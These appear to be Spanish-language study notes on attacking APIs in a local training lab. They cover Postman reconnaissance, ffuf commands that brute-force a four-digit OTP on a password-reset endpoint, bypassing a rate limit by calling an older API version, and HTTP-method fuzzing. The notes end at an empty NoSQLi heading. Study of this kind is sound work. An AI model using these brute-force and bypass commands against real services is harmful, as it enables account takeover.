Abuso de APIs - Hacking Notes

Índice


  1. [[#Identificación de API]]
  2. [[#Analizamos la petición]]
  3. [[#Reconocimiento con Postman]]
  4. [[#Explotación de un endpoint con fuerza bruta]]
  5. [[#Explotación de un endpoint cambiando el método]]
  6. [[#SQLi y NoSQLi en APIs]]

Identificación de API

Seleccionamos la opción XHR para ver las peticiones más concretas


Analizamos la petición

  1. Vemos el método y el endpoint

  2. Vemos el contenido que mandamos

  3. Vemos la respuesta

Nos está devolviendo un token de sesión, en este caso un [[Conceptos#JSON Web Token (JWT)]]


Reconocimiento con Postman

  1. Creamos una nueva colección

  2. Mandamos una petición por post al endpoint http://localhost:8888/identity/api/auth/login

Vemos que hay errores ya que faltan parámentros

  1. Mandamos la petición con el contenido en formato JSON

Podemos guardar esta petición para tener más organización

  1. Creamos otra petición para el dashboard

Vemos que da error ya que tenemos que arrastrar el JWT, debido a que este endpoint se utiliza una vez está iniciada la sesión

  1. Creamos una variable para usar el JWT

  1. Creamos otra petición al endpoint http://localhost:8888/workshop/api/shop/products

  2. Creamos otra petición al endpoint http://localhost:8888/workshop/api/shop/orders

  3. Creamos otra petición al endpoint http://localhost:8888/workshop/api/shop/orders/reuturn_order?order_id=1

  4. Creamos otra petición al endpoint http://localhost:8888/identity/api/auth/v3/check-otp

Ya que el código de verificación que nos mandan es únicamente de 4 dígitos, podemos emplear fuerza bruta

Explotación de un endpoint con fuerza bruta

ffuf -u http://localhost:8888/identity/api/aut/v3/check-otp -w /usr/share/seclists/Fuzzing/4-digits-0000-9999.txt -X POST -d '{"email":"s4vitar@hack4u.io","otp":"FUZZ","password":"NewPass123$!"}' -H "Content-Type: application/json" -p 1 -mc 200

Como esta versión de API v3 tiene una restricción de solicitudes, podemos intentar mandar la misma petición a la versión más antigua expuesta, en este caso la v2

ffuf -u http://localhost:8888/identity/api/aut/v2/check-otp -w /usr/share/seclists/Fuzzing/4-digits-0000-9999.txt -X POST -d '{"email":"s4vitar@hack4u.io","otp":"FUZZ","password":"NewPass123$!"}' -H "Content-Type: application/json" -p 1 -mc 200

Explotación de un endpoint cambiando el método

  1. Empleamos fuzzing
    ffuf -u http://localhost:8888/workshop/api/shop/products -w /usr/share/SecLists/Fuzzing/http-request-methods.txt -X FUZZ -p 1 -mc 401,200
    
  2. Usamos el método options

  3. Probamos el método POST y cambiamos los parámetros

SQLi y NoSQLi en APIs

  1. NoSQLi en Mongodb